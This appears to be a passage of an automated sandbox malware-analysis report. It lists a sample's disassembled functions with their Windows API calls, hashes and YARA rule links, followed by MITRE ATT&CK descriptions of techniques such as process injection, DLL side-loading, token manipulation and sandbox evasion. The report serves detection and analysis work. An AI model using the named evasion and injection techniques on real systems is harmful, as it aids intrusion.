Instruction Fuzzy Hash: 95D1F4B6F0AA8189E711CF79D4402ED37B1FB44798B049236EE5DA7B99DE38D406CB40

Function 00007FFBC1BAED1C Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,?,00000000,00000000,00000000,00000000,00007FFBC1BAED07), ref: 00007FFBC1BAEE38
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,?,00000000,00000000,00000000,00000000,00007FFBC1BAED07), ref: 00007FFBC1BAEEC3

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 011e2ebe13567d8ad8ddad1d699b44402174a3121c3ef3043a650edb943c864e
Instruction ID: b63cdcca0b528a2c69f258db642e3249f3479be6d01f53e12a9b9599206772fb
Opcode Fuzzy Hash: 011e2ebe13567d8ad8ddad1d699b44402174a3121c3ef3043a650edb943c864e
Instruction Fuzzy Hash: F791D4BAB1965185F7609F35D4802BE3BA4EB44B88F146139EE4E77A94CF38D446CB00

Function 0000000140004760 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 0000000140004774
ResetEvent.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 0000000140004870
SetEvent.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 000000014000487D
LeaveCriticalSection.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 000000014000488A

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalEventSection$EnterLeaveReset
String ID:
API String ID: 3553466030-0
Opcode ID: c0905a8df1c3b6d7d2917c1fcaa4435d9a1a27abfa891a899b8a9d6119ba031b
Instruction ID: 8df361fa7c869b6ec715234f9c2df2ced8c6baf833446e4218a9444c3b5dacad
Opcode Fuzzy Hash: c0905a8df1c3b6d7d2917c1fcaa4435d9a1a27abfa891a899b8a9d6119ba031b
Instruction Fuzzy Hash: 0F31D1B5614F4881EB42CB57F8803D463A6B79CBD4F984516EB0E8B372EF3AC4958304

Function 0000000140004400 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014000441F
ResetEvent.KERNEL32 ref: 00000001400044CB
SetEvent.KERNEL32 ref: 00000001400044D5
LeaveCriticalSection.KERNEL32 ref: 00000001400044DF

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalEventSection$EnterLeaveReset
String ID:
API String ID: 3553466030-0
Opcode ID: 6e550663b123c7b4300ff756dd79b72a11867f34fdb7ecd18ec55ee4b4ab60ba
Instruction ID: 80aeca48758360c6ba791d23c15ba34d7cc547f8c7a26c6fbcbbb07f4ec0a80e
Opcode Fuzzy Hash: 6e550663b123c7b4300ff756dd79b72a11867f34fdb7ecd18ec55ee4b4ab60ba
Instruction Fuzzy Hash: 6F3127B2220A8483D761DF27F48439AB3A0F798BD4F000116EB8A47BB5DF39E491C344

Function 00007FFBC1BA2218 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFBC1BA2244
GetCurrentThreadId.KERNEL32 ref: 00007FFBC1BA2252
GetCurrentProcessId.KERNEL32 ref: 00007FFBC1BA225E
QueryPerformanceCounter.KERNEL32 ref: 00007FFBC1BA226E

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 540efdc4acb7237d38814a0210c5b4881e051432956c40de0382b68ade111df8
Instruction ID: eddde16b781e5edbba344afe7e3026351619f86da83e98448b181cda0acbc829
Opcode Fuzzy Hash: 540efdc4acb7237d38814a0210c5b4881e051432956c40de0382b68ade111df8
Instruction Fuzzy Hash: 4B114C6AB14F058AEB008F70E8542A933A4F71C758F441E31DA2D56BA4DF7CE154C740

Function 0000000140013670 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 000000014001367B
CreateEventW.KERNEL32 ref: 000000014001368D
CreateEventW.KERNEL32 ref: 00000001400136A7
CreateEventW.KERNEL32 ref: 00000001400136C0

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CreateEvent$CriticalInitializeSection
String ID:
API String ID: 926662266-0
Opcode ID: 6e7557a2c0ebfea515044b23bc829654ad5a6134d5329468471647cedafa6715
Instruction ID: 312f8d8d13b8a868d26f937b45fb8075aed367f1a83d8c92d196673213f535ba
Opcode Fuzzy Hash: 6e7557a2c0ebfea515044b23bc829654ad5a6134d5329468471647cedafa6715
Instruction Fuzzy Hash: 8F015A31610F0582E726DFA2B855BCA37E2F75D385F854529FA4A8B630EF3A8145C700

Function 00007FFBC1BA5C00 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFBC1BA5C2A

Strings

csm, xrefs: 00007FFBC1BA5DBE
csm, xrefs: 00007FFBC1BA5C4F

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 7b854735182fbbf9032f6bb379489979c6e7540e10eb2e5c3fda445f13d9ec39
Instruction ID: 6642192f41d3d2a69cf5e3b4ea4c838f345dec79f91c0b90912629af087912cb
Opcode Fuzzy Hash: 7b854735182fbbf9032f6bb379489979c6e7540e10eb2e5c3fda445f13d9ec39
Instruction Fuzzy Hash: 3E7171BA60A681CAD7608F35D5447BE7BA0FB04B84F14A135EF8C67A89DB3CD651CB40

Function 00007FFBC1BA6298 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFBC1BA6342
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FFBC1BA636B

Strings

csm, xrefs: 00007FFBC1BA646B

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: fdc43af78747129a673bd1320e44d2e2152711131f73500a528a0e9cffec3944
Instruction ID: 4a8ba56a974b7540ace2c153f86d9eab939451e902eb6460317b1a28f8ceaa5c
Opcode Fuzzy Hash: fdc43af78747129a673bd1320e44d2e2152711131f73500a528a0e9cffec3944
Instruction Fuzzy Hash: 6C5151BB71AB4196D720AF25E04026E77A4FB89B90F146134DB8D27B65CF38E451CF40

Function 00007FFBC1BAEA8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FFBC1BAEBA3
GetLastError.KERNEL32 ref: 00007FFBC1BAEBC5

Strings

U, xrefs: 00007FFBC1BAEB4F

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 1bda24f103a1684070c02434e8f6c76fd55582b454c16690d6623519bbb42c9a
Instruction ID: a5724ef8d392252292b8510e8a658f931ad4aca65e1946702f272b06aabfadf4
Opcode Fuzzy Hash: 1bda24f103a1684070c02434e8f6c76fd55582b454c16690d6623519bbb42c9a
Instruction Fuzzy Hash: A841D566B19A4181DB20DF35E4443AA77A1FB88794F805031EE4E97B94DF3CD441CB50

Function 00007FFBC1BA9940 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FFBC1BA99B9
GetFileType.KERNEL32 ref: 00007FFBC1BA99CF

Strings

0eO, xrefs: 00007FFBC1BA9A07

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: FileHandleType
String ID: 0eO
API String ID: 3000768030-633601889
Opcode ID: ad76da5c0a2ad7b24dd820ce22a2f6dea1c96ad3649e3b10ed6011db975978b7
Instruction ID: 9b86f3dabbcb359adba3da65d822a4af8fe82460757bcdc097cd5cdc599b863d
Opcode Fuzzy Hash: ad76da5c0a2ad7b24dd820ce22a2f6dea1c96ad3649e3b10ed6011db975978b7
Instruction Fuzzy Hash: 9931D565B19B4691EB208F25C59017A6750FB45BB0B78233ADBAE273E0CF38E491E740

Function 0000000140012523 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 000000014001256D
RaiseException.KERNEL32 ref: 000000014001258A

Strings

csm, xrefs: 00000001400125BE

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: ExceptionRaise
String ID: csm
API String ID: 3997070919-1018135373
Opcode ID: dba88b77ed38871436108f768fa7b3f2c7bfcf036fc2a4a051b753ac1ce5513b
Instruction ID: 49e9958dea4625aba6399e71a496f31833793ec74c7c4936f150dd50c3eb5df3
Opcode Fuzzy Hash: dba88b77ed38871436108f768fa7b3f2c7bfcf036fc2a4a051b753ac1ce5513b
Instruction Fuzzy Hash: 1D315036204A8082D771CF16E09079EB365F78C7E4F544111EF9A077B5DB3AD892CB41

Function 00007FFBC1BB0910 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBC1BA3A38: __except_validate_context_record.LIBVCRUNTIME ref: 00007FFBC1BA3A63

__GSHandlerCheckCommon.LIBCMT ref: 00007FFBC1BB0993

Strings

csm, xrefs: 00007FFBC1BB092B
f, xrefs: 00007FFBC1BB0925

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: CheckCommonHandler__except_validate_context_record
String ID: csm$f
API String ID: 1543384424-629598281
Opcode ID: df4735a4e908aa111fba586a5857847e844898d503be1ccfbed92f1abe6d2401
Instruction ID: 921145a4a462198e5bb0c306c140ec62b4b52b4f948d3b2b1fc1260b5b48e525
Opcode Fuzzy Hash: df4735a4e908aa111fba586a5857847e844898d503be1ccfbed92f1abe6d2401
Instruction Fuzzy Hash: 4D11E17AB1878185E7109F26E1412AE6764EF44FC0F08E035EE8827B56CE38D861CB44

Function 0000000140003620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32 ref: 0000000140003665
#4.VSELOG ref: 00000001400036AC

Strings

amps_Set: pHandle=%p, propId=%d, val=%p, vSize=%d, xrefs: 000000014000368F

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: TimerWaitable
String ID: amps_Set: pHandle=%p, propId=%d, val=%p, vSize=%d
API String ID: 1823812067-484248852
Opcode ID: 590ed17bb6164494f623543e183e49ebce91c212c09f63c64337d20ba62503d7
Instruction ID: 814455377fd743a09d1ce94c7697c2570c7384a68551c8a3e3690f56dccab0e4
Opcode Fuzzy Hash: 590ed17bb6164494f623543e183e49ebce91c212c09f63c64337d20ba62503d7
Instruction Fuzzy Hash: 25114975608B4082EB21CF16B84079AB7A4F79DBD4F544225FF8847B79DB39C5508B40

Function 00007FFBC1BA3990 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FFBC1BA112F), ref: 00007FFBC1BA39E0
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FFBC1BA112F), ref: 00007FFBC1BA3A21

Strings

csm, xrefs: 00007FFBC1BA3A0E

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 886c576564c2cc2de453fb1cc39b3a925429a78efbd1798258f32c7f13ed655c
Instruction ID: 0d2007a8f3aa55af53659f5f81ce74d0affa49ee1f70da5a0b23ae3a4ffc63fe
Opcode Fuzzy Hash: 886c576564c2cc2de453fb1cc39b3a925429a78efbd1798258f32c7f13ed655c
Instruction Fuzzy Hash: B6115B76609B8182EB208F25E50026A77E5FB88B84F589230DE8D17B68DF3CD551CB00

Function 00000001400036E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32 ref: 0000000140003725
#4.VSELOG ref: 0000000140003762

Strings

amps_Get: pHandle=%p, propId=%d, val=%p, vSize=%d, xrefs: 0000000140003745

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: TimerWaitable
String ID: amps_Get: pHandle=%p, propId=%d, val=%p, vSize=%d
API String ID: 1823812067-3336177065
Opcode ID: ec5ea581405e177efc46dfcfb63def396c6c184119c2e2df6ecfca0784b7c7fe
Instruction ID: 709d983207ec740d9f2c7308925ee729c80a4ac6442fb255827ec98b57545574
Opcode Fuzzy Hash: ec5ea581405e177efc46dfcfb63def396c6c184119c2e2df6ecfca0784b7c7fe
Instruction Fuzzy Hash: 731170B2614B8082D711CF16F480B9AB7A4F38CBE4F444216BF9C47B68CF78C5508B40

Function 0000000140004630 Relevance: 5.1, APIs: 4, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,00000001400047BB,?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 00000001400046B0
HeapReAlloc.KERNEL32(?,?,?,00000001400047BB,?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 00000001400046C1

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: e1b55434e6231e5ce6780f684ad3576ffb26ff33b9fae7a8d56a49fd816118fb
Instruction ID: 02c5a1d02253778f48d8bcd65850d79aa5baad65f26a42f950a3123f4edab52d
Opcode Fuzzy Hash: e1b55434e6231e5ce6780f684ad3576ffb26ff33b9fae7a8d56a49fd816118fb
Instruction Fuzzy Hash: CB31D1B2715A8082EB06CF57F44039863A0F74DBC4F584025EF5D57B69EB39C8A28704

Function 00000001400137D0 Relevance: 5.0, APIs: 4, Instructions: 27memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000001400137EB
HeapFree.KERNEL32 ref: 00000001400137FD
GetProcessHeap.KERNEL32 ref: 0000000140013820
HeapFree.KERNEL32 ref: 0000000140013832

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 57607852ce15da45032583eecf595b266eb818b51a75700467a9fc2c410260bf
Instruction ID: 86a4b35954e85bb75ec39e114bccfc50e282ec3ca0152174d73c8df7cd9b4be4
Opcode Fuzzy Hash: 57607852ce15da45032583eecf595b266eb818b51a75700467a9fc2c410260bf
Instruction Fuzzy Hash: ADF07FB4615B4481FB078FA7B84479422E5EB4DBC0F481028AB494B3B0DF7A80998710

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
